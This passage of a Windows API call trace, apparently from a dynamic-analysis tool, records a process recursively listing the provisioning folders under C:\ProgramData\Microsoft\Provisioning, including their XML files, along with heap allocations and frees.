ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0272.084] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.084] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0272.084] GetProcessHeap () returned 0xc10000 [0272.084] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d1fa0 [0272.085] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0272.085] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.085] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e3557c, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e3557c, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e3557c, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 1 [0272.085] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e3557c, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e3557c, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e3557c, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 0 [0272.085] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0272.085] GetProcessHeap () returned 0xc10000 [0272.085] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d1fa0 | out: hHeap=0xc10000) returned 1 [0272.085] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e5b7d8, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0272.085] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e5b7d8, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0272.086] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0272.086] GetProcessHeap () returned 0xc10000 [0272.086] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0272.086] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0272.086] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0272.086] GetProcessHeap () returned 0xc10000 [0272.086] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0272.086] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1e05dd5d-a022-46c5-963c-b20de341170f}", cAlternateFileName="{1E05D~1")) returned 1 [0272.086] GetProcessHeap () returned 0xc10000 [0272.086] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0272.086] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0272.087] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.087] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ebc18d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ebc18d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ebc18d, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0272.087] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ebc18d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ebc18d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ebc18d, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0272.087] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0272.090] GetProcessHeap () returned 0xc10000 [0272.090] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0272.090] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0272.091] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.091] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0272.091] GetProcessHeap () returned 0xc10000 [0272.091] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d1fa0 [0272.091] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0272.091] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.092] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e6fcbc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e6fcbc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e95f21, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x168, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Controls.provxml", cAlternateFileName="")) returned 1 [0272.092] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e95f21, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e95f21, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e95f21, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x168, dwReserved0=0x0, dwReserved1=0x0, cFileName="1__Power_Controls.provxml", cAlternateFileName="")) returned 1 [0272.092] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e95f21, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e95f21, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e95f21, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x168, dwReserved0=0x0, dwReserved1=0x0, cFileName="1__Power_Controls.provxml", cAlternateFileName="")) returned 0 [0272.092] FindClose (in: hFindFile=0x33e4e68 | out: hFindFile=0x33e4e68) returned 1 [0272.092] GetProcessHeap () returned 0xc10000 [0272.092] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d1fa0 | out: hHeap=0xc10000) returned 1 [0272.092] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e95f21, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e95f21, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e95f21, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0272.092] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e95f21, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e95f21, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e95f21, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0272.092] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0272.092] GetProcessHeap () returned 0xc10000 [0272.092] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0272.093] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0272.093] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0272.093] GetProcessHeap () returned 0xc10000 [0272.093] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0272.093] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{23cb517f-5073-4e96-a202-7fe6122a2271}", cAlternateFileName="{23CB5~1")) returned 1 [0272.093] GetProcessHeap () returned 0xc10000 [0272.093] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0272.093] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0272.094] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.094] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x540f90a7, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x540f90a7, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x540f90a7, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xcb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0272.094] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5408696e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5408696e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5408696e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0272.095] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0272.095] GetProcessHeap () returned 0xc10000 [0272.095] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0272.095] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0272.096] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.096] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0272.096] GetProcessHeap () returned 0xc10000 [0272.096] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d1fa0 [0272.096] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0272.096] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.096] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54060701, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54060701, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x54060701, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xcdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 1 [0272.097] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54060701, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54060701, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x54060701, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xcdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 0 [0272.097] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0272.097] GetProcessHeap () returned 0xc10000 [0272.097] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d1fa0 | out: hHeap=0xc10000) returned 1 [0272.097] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5408696e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5408696e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5408696e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0272.097] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5408696e, ftCreationTime.dwHighDateTime=0x1d29f93, 